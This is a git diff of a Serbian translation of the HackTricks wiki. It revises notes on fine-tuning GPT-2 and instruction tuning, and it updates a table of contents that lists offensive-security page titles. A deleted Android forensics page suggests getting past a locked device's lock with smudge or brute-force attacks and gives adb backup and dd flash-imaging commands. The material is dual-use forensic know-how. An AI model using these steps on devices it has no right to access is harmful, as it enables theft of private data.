{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je
|
||||
|
||||
Fine-tuning je proces uzimanja **pre-treniranog modela** koji je naučio **opšte jezičke obrasce** iz ogromnih količina podataka i **prilagođavanja** da izvrši **specifičan zadatak** ili da razume jezik specifičan za domen. To se postiže nastavkom obuke modela na manjem, zadatku specifičnom skupu podataka, omogućavajući mu da prilagodi svoje parametre kako bi bolje odgovarao nijansama novih podataka, dok koristi široko znanje koje je već stekao. Fine-tuning omogućava modelu da pruži tačnije i relevantnije rezultate u specijalizovanim aplikacijama bez potrebe za obukom novog modela od nule.
|
||||
@ -8,7 +10,7 @@ Fine-tuning je proces uzimanja **pre-treniranog modela** koji je naučio **opšt
|
||||
> Kako je pre-obuka LLM-a koji "razume" tekst prilično skupa, obično je lakše i jeftinije fine-tunovati otvorene pre-trenirane modele da izvrše specifičan zadatak koji želimo da obave.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ovog odeljka je da pokaže kako fine-tunovati već pre-trenirani model tako da umesto generisanja novog teksta LLM daje **verovatnoće da je dati tekst kategorizovan u svaku od datih kategorija** (kao što je da li je tekst spam ili ne).
|
||||
> Cilj ovog odeljka je da pokaže kako fine-tunovati već pre-trenirani model tako da umesto generisanja novog teksta, LLM daje **verovatnoće da dati tekst bude kategorizovan u svaku od datih kategorija** (kao što je da li je tekst spam ili ne).
|
||||
|
||||
## Priprema skupa podataka
|
||||
|
||||
@ -16,7 +18,7 @@ Fine-tuning je proces uzimanja **pre-treniranog modela** koji je naučio **opšt
|
||||
|
||||
Naravno, da biste fine-tunovali model, potrebni su vam neki strukturirani podaci koje ćete koristiti za specijalizaciju vašeg LLM-a. U primeru predloženom u [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 je fine-tunovan da detektuje da li je email spam ili ne koristeći podatke iz [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
Ovaj skup podataka sadrži mnogo više primera "ne spam" nego "spam", stoga knjiga sugeriše da se **koristi samo onoliko primera "ne spam" koliko i "spam"** (uklanjajući sve dodatne primere iz obuke). U ovom slučaju, to je bilo 747 primera svakog.
|
||||
Ovaj skup podataka sadrži mnogo više primera "ne spam" nego "spam", stoga knjiga sugeriše da se **koristi samo onoliko primera "ne spam" koliko i "spam"** (stoga, uklanjajući sve dodatne primere iz obuke). U ovom slučaju, to je bilo 747 primera svakog.
|
||||
|
||||
Zatim, **70%** skupa podataka se koristi za **obuku**, **10%** za **validaciju** i **20%** za **testiranje**.
|
||||
|
||||
@ -26,15 +28,15 @@ Zatim, **70%** skupa podataka se koristi za **obuku**, **10%** za **validaciju**
|
||||
|
||||
### Dužina unosa
|
||||
|
||||
Kako primer obuke očekuje unose (tekstove emaila u ovom slučaju) iste dužine, odlučeno je da se svaki unos napravi što je moguće dužim dodavanjem id-ova `<|endoftext|>` kao popune.
|
||||
Kako primer obuke očekuje unose (tekstove emaila u ovom slučaju) iste dužine, odlučeno je da se svaki unos napravi što veći kao najveći dodavanjem id-ova `<|endoftext|>` kao popunjavajuće.
|
||||
|
||||
### Inicijalizacija modela
|
||||
|
||||
Koristeći otvorene pre-trenirane težine, inicijalizujte model za obuku. Ovo smo već uradili ranije i prateći uputstva iz [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) možete to lako uraditi.
|
||||
|
||||
## Klasa za klasifikaciju
|
||||
## Klasiifikaciona glava
|
||||
|
||||
U ovom specifičnom primeru (predviđanje da li je tekst spam ili ne), nismo zainteresovani za fine-tuning prema kompletnom rečniku GPT2, već samo želimo da novi model kaže da li je email spam (1) ili ne (0). Stoga, planiramo da **modifikujemo završni sloj koji** daje verovatnoće po tokenu rečnika za onaj koji daje samo verovatnoće da li je spam ili ne (tako da kao rečnik od 2 reči).
|
||||
U ovom specifičnom primeru (predviđanje da li je tekst spam ili ne), nismo zainteresovani za fine-tuning prema kompletnom rečniku GPT2, već samo želimo da novi model kaže da li je email spam (1) ili ne (0). Stoga, planiramo da **modifikujemo poslednji sloj koji** daje verovatnoće po tokenu rečnika za onaj koji samo daje verovatnoće da li je spam ili ne (dakle, kao rečnik od 2 reči).
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
@ -101,10 +103,12 @@ return loss
|
||||
```
|
||||
Napomena kako nas za svaku seriju zanimaju samo **logiti poslednjeg predviđenog tokena**.
|
||||
|
||||
## Kompletan kod za fine-tuning GPT2 klasifikatora
|
||||
## Kompletan kod za fine-tuning GPT2 klasifikacije
|
||||
|
||||
Možete pronaći sav kod za fine-tuning GPT2 da bude klasifikator za spam na [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
Možete pronaći sav kod za fine-tuning GPT2 da bude klasifikator spama na [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,9 @@
|
||||
# 7.2. Podešavanje za praćenje uputstava
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ovog odeljka je da pokaže kako da **podešavate već unapred obučeni model da prati uputstva** umesto da samo generiše tekst, na primer, odgovarajući na zadatke kao chat bot.
|
||||
> Cilj ovog odeljka je da pokaže kako **podešavati već unapred obučeni model da prati uputstva** umesto samo generisanja teksta, na primer, odgovaranje na zadatke kao chat bot.
|
||||
|
||||
## Skup podataka
|
||||
|
||||
@ -61,7 +63,7 @@ Zatim, potrebno je grupisati sve ulaze i očekivane izlaze za obuku. Za to je po
|
||||
- Zameniti neke tokene za popunjavanje sa -100 kako bi ih isključili iz gubitka obuke: Nakon prvog `endoftext` tokena, zameniti sve ostale `endoftext` tokene sa -100 (jer korišćenje `cross_entropy(...,ignore_index=-100)` znači da će ignorisati ciljeve sa -100)
|
||||
- \[Opcionalno\] Maskirati koristeći -100 takođe sve tokene koji pripadaju pitanju kako bi LLM naučio samo kako da generiše odgovor. U stilu Apply Alpaca to će značiti maskirati sve do `### Response:`
|
||||
|
||||
Sa ovim kreiranim, vreme je da se kreiraju učitavači podataka za svaki skup podataka (obuka, validacija i test).
|
||||
Sa ovim kreiranim, vreme je da se kreiraju učitavači podataka za svaki skup podataka (obuku, validaciju i test).
|
||||
|
||||
## Load pre-trained LLM & Fine tune & Loss Checking
|
||||
|
||||
@ -80,12 +82,12 @@ Drugi test koji treba izvršiti da bi se proverio kvalitet odgovora:
|
||||
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU procenjuje znanje modela i sposobnosti rešavanja problema u 57 predmeta, uključujući humanističke nauke, nauke i još mnogo toga. Koristi višekratna pitanja za procenu razumevanja na različitim nivoima težine, od osnovnog do naprednog profesionalnog.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Ova platforma omogućava korisnicima da uporede odgovore različitih chatbota jedan pored drugog. Korisnici unose prompt, a više chatbota generiše odgovore koji se mogu direktno uporediti.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval je automatizovani okvir za evaluaciju gde napredni LLM poput GPT-4 procenjuje odgovore drugih modela na različite promptove.
|
||||
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE je zbirka od devet zadataka razumevanja prirodnog jezika, uključujući analizu sentimenta, tekstualno impliciranje i odgovaranje na pitanja.
|
||||
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE je zbirka od devet zadataka razumevanja prirodnog jezika, uključujući analizu sentimenta, tekstualno podrazumevanje i odgovaranje na pitanja.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Oslanjajući se na GLUE, SuperGLUE uključuje izazovnije zadatke dizajnirane da budu teški za trenutne modele.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench je velika mera sa više od 200 zadataka koji testiraju sposobnosti modela u oblastima kao što su rezonovanje, prevođenje i odgovaranje na pitanja.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench je velika skala benchmark sa više od 200 zadataka koji testiraju sposobnosti modela u oblastima kao što su rezonovanje, prevođenje i odgovaranje na pitanja.
|
||||
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM pruža sveobuhvatnu evaluaciju kroz različite metrike kao što su tačnost, robusnost i pravednost.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Okvir za evaluaciju otvorenog koda od strane OpenAI koji omogućava testiranje AI modela na prilagođenim i standardizovanim zadacima.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Zbirka programerskih problema koji se koriste za procenu sposobnosti generisanja koda jezičkih modela.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Zbirka programskih problema koji se koriste za procenu sposobnosti generisanja koda jezičkih modela.
|
||||
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD se sastoji od pitanja o člancima sa Wikipedije, gde modeli moraju razumeti tekst da bi tačno odgovorili.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Velika zbirka trivijalnih pitanja i odgovora, zajedno sa dokumentima kao dokazima.
|
||||
|
||||
@ -98,3 +100,5 @@ Možete pronaći primer koda za izvođenje ovog fino podešavanja na [https://gi
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# LLM Trening - Priprema Podataka
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
**Ovo su moje beleške iz veoma preporučene knjige** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **sa dodatnim informacijama.**
|
||||
|
||||
## Osnovne Informacije
|
||||
@ -13,7 +15,7 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 1. Tokenizacija
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove inicijalne faze je vrlo jednostavan: **Podeliti ulaz u tokene (ids) na način koji ima smisla**.
|
||||
> Cilj ove inicijalne faze je veoma jednostavan: **Podeliti ulaz u tokene (ids) na način koji ima smisla**.
|
||||
|
||||
{{#ref}}
|
||||
1.-tokenizing.md
|
||||
@ -22,19 +24,19 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 2. Uzorkovanje Podataka
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove druge faze je vrlo jednostavan: **Uzorkovati ulazne podatke i pripremiti ih za fazu obuke obično razdvajanjem skupa podataka na rečenice određene dužine i generisanjem očekivanog odgovora.**
|
||||
> Cilj ove druge faze je veoma jednostavan: **Uzorkovati ulazne podatke i pripremiti ih za fazu obuke obično razdvajanjem skupa podataka na rečenice određene dužine i generisanjem očekivanog odgovora.**
|
||||
|
||||
{{#ref}}
|
||||
2.-data-sampling.md
|
||||
{{#endref}}
|
||||
|
||||
## 3. Token Umetanja
|
||||
## 3. Token Ugradnje
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove treće faze je vrlo jednostavan: **Dodeliti svakom od prethodnih tokena u rečniku vektor željenih dimenzija za obuku modela.** Svaka reč u rečniku će biti tačka u prostoru X dimenzija.\
|
||||
> Cilj ove treće faze je veoma jednostavan: **Dodeliti svakom od prethodnih tokena u rečniku vektor željenih dimenzija za obuku modela.** Svaka reč u rečniku će biti tačka u prostoru X dimenzija.\
|
||||
> Imajte na umu da je inicijalno pozicija svake reči u prostoru samo "nasumično" inicijalizovana i te pozicije su parametri koji se mogu obučavati (biće poboljšani tokom obuke).
|
||||
>
|
||||
> Štaviše, tokom umetanja tokena **stvara se još jedan sloj umetanja** koji predstavlja (u ovom slučaju) **apsolutnu poziciju reči u rečenici za obuku**. Na ovaj način, reč na različitim pozicijama u rečenici će imati različitu reprezentaciju (značenje).
|
||||
> Štaviše, tokom ugradnje tokena **stvara se još jedan sloj ugradnji** koji predstavlja (u ovom slučaju) **apsolutnu poziciju reči u rečenici za obuku**. Na ovaj način, reč na različitim pozicijama u rečenici će imati različitu reprezentaciju (značenje).
|
||||
|
||||
{{#ref}}
|
||||
3.-token-embeddings.md
|
||||
@ -43,7 +45,7 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 4. Mehanizmi Pažnje
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove četvrte faze je vrlo jednostavan: **Primena nekih mehanizama pažnje**. Ovi mehanizmi će biti mnogo **ponovljenih slojeva** koji će **uhvatiti odnos reči u rečniku sa njenim susedima u trenutnoj rečenici koja se koristi za obuku LLM-a**.\
|
||||
> Cilj ove četvrte faze je veoma jednostavan: **Primena nekih mehanizama pažnje**. Ovi će biti mnogo **ponovljenih slojeva** koji će **uhvatiti odnos reči u rečniku sa njenim susedima u trenutnoj rečenici koja se koristi za obuku LLM-a**.\
|
||||
> Za ovo se koristi mnogo slojeva, tako da će mnogo parametara koji se mogu obučavati uhvatiti ove informacije.
|
||||
|
||||
{{#ref}}
|
||||
@ -53,7 +55,7 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 5. LLM Arhitektura
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove pete faze je vrlo jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
|
||||
> Cilj ove pete faze je veoma jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
|
||||
>
|
||||
> Ova arhitektura će se koristiti i za obuku i za predikciju teksta nakon što je obučena.
|
||||
|
||||
@ -64,7 +66,7 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 6. Predobuka i Učitavanje modela
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove šeste faze je vrlo jednostavan: **Obučiti model od nule**. Za ovo će se koristiti prethodna LLM arhitektura sa nekim petljama koje prolaze kroz skupove podataka koristeći definisane funkcije gubitka i optimizator za obuku svih parametara modela.
|
||||
> Cilj ove šeste faze je veoma jednostavan: **Obučiti model od nule**. Za ovo će se koristiti prethodna LLM arhitektura sa nekim petljama koje prolaze kroz skupove podataka koristeći definisane funkcije gubitka i optimizator za obuku svih parametara modela.
|
||||
|
||||
{{#ref}}
|
||||
6.-pre-training-and-loading-models.md
|
||||
@ -82,7 +84,7 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 7.1. Fino Podešavanje za Klasifikaciju
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ovog dela je da pokaže kako fino podešavati već unapred obučeni model tako da umesto generisanja novog teksta LLM daje **verovatnoće da dati tekst bude kategorizovan u svaku od datih kategorija** (kao što je da li je tekst spam ili ne).
|
||||
> Cilj ovog odeljka je da pokaže kako fino podešavati već obučeni model tako da umesto generisanja novog teksta LLM daje **verovatnoće da dati tekst bude kategorizovan u svaku od datih kategorija** (kao što je da li je tekst spam ili ne).
|
||||
|
||||
{{#ref}}
|
||||
7.1.-fine-tuning-for-classification.md
|
||||
@ -91,8 +93,10 @@ Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba
|
||||
## 7.2. Fino Podešavanje za Praćenje Uputstava
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ovog dela je da pokaže kako **fino podešavati već unapred obučeni model da prati uputstva** umesto samo generisanja teksta, na primer, odgovaranje na zadatke kao chat bot.
|
||||
> Cilj ovog odeljka je da pokaže kako **fino podešavati već obučeni model da prati uputstva** umesto samo generisanja teksta, na primer, odgovaranje na zadatke kao chat bot.
|
||||
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -149,6 +149,7 @@
|
||||
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
|
||||
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
|
||||
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
||||
@ -217,8 +218,10 @@
|
||||
|
||||
# 🪟 Windows Hardening
|
||||
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
@ -248,6 +251,7 @@
|
||||
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
|
||||
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
|
||||
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
@ -330,7 +334,7 @@
|
||||
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
|
||||
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
|
||||
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
|
||||
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
|
||||
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
@ -388,6 +392,7 @@
|
||||
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
|
||||
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
- [Django](network-services-pentesting/pentesting-web/django.md)
|
||||
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
|
||||
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
|
||||
@ -398,7 +403,6 @@
|
||||
- [Flask](network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Git](network-services-pentesting/pentesting-web/git.md)
|
||||
- [Golang](network-services-pentesting/pentesting-web/golang.md)
|
||||
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
|
||||
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
|
||||
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
@ -430,7 +434,7 @@
|
||||
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
|
||||
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
|
||||
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
|
||||
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
|
||||
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
|
||||
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
@ -438,6 +442,7 @@
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||
@ -582,6 +587,7 @@
|
||||
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
|
||||
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
|
||||
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
- [Email Injections](pentesting-web/email-injections.md)
|
||||
@ -609,6 +615,7 @@
|
||||
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
- [IDOR](pentesting-web/idor.md)
|
||||
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
|
||||
- [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
- [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
||||
@ -641,6 +648,7 @@
|
||||
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||||
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
|
||||
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
|
||||
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
|
||||
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
|
||||
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
|
||||
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
@ -664,6 +672,7 @@
|
||||
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
- [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
- [XS Search](pentesting-web/xs-search.md)
|
||||
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
|
||||
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
|
||||
@ -845,13 +854,14 @@
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
- [Other Big References](todo/references.md)
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Pentesting DNS](todo/pentesting-dns.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
|
||||
- [UART](todo/hardware-hacking/uart.md)
|
||||
- [Radio](todo/hardware-hacking/radio.md)
|
||||
- [JTAG](todo/hardware-hacking/jtag.md)
|
||||
@ -878,8 +888,6 @@
|
||||
- [Other Web Tricks](todo/other-web-tricks.md)
|
||||
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
|
||||
- [Android Forensics](todo/android-forensics.md)
|
||||
- [TR-069](todo/tr-069.md)
|
||||
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||
- [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
@ -887,3 +895,11 @@
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
@ -1,27 +0,0 @@
|
||||
# Android Forensics
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
## Zaključan uređaj
|
||||
|
||||
Da biste započeli ekstrakciju podataka sa Android uređaja, mora biti otključan. Ako je zaključan, možete:
|
||||
|
||||
- Proveriti da li je uređaj aktivirao debagovanje putem USB-a.
|
||||
- Proveriti za mogući [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
|
||||
- Pokušati sa [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
||||
|
||||
## Ekstrakcija podataka
|
||||
|
||||
Kreirajte [android backup koristeći adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) i ekstraktujte ga koristeći [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### Ako imate root pristup ili fizičku vezu sa JTAG interfejsom
|
||||
|
||||
- `cat /proc/partitions` (pronađite putanju do flash memorije, obično je prvi unos _mmcblk0_ i odgovara celoj flash memoriji).
|
||||
- `df /data` (otkrijte veličinu bloka sistema).
|
||||
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (izvršite to sa informacijama prikupljenim o veličini bloka).
|
||||
|
||||
### Memorija
|
||||
|
||||
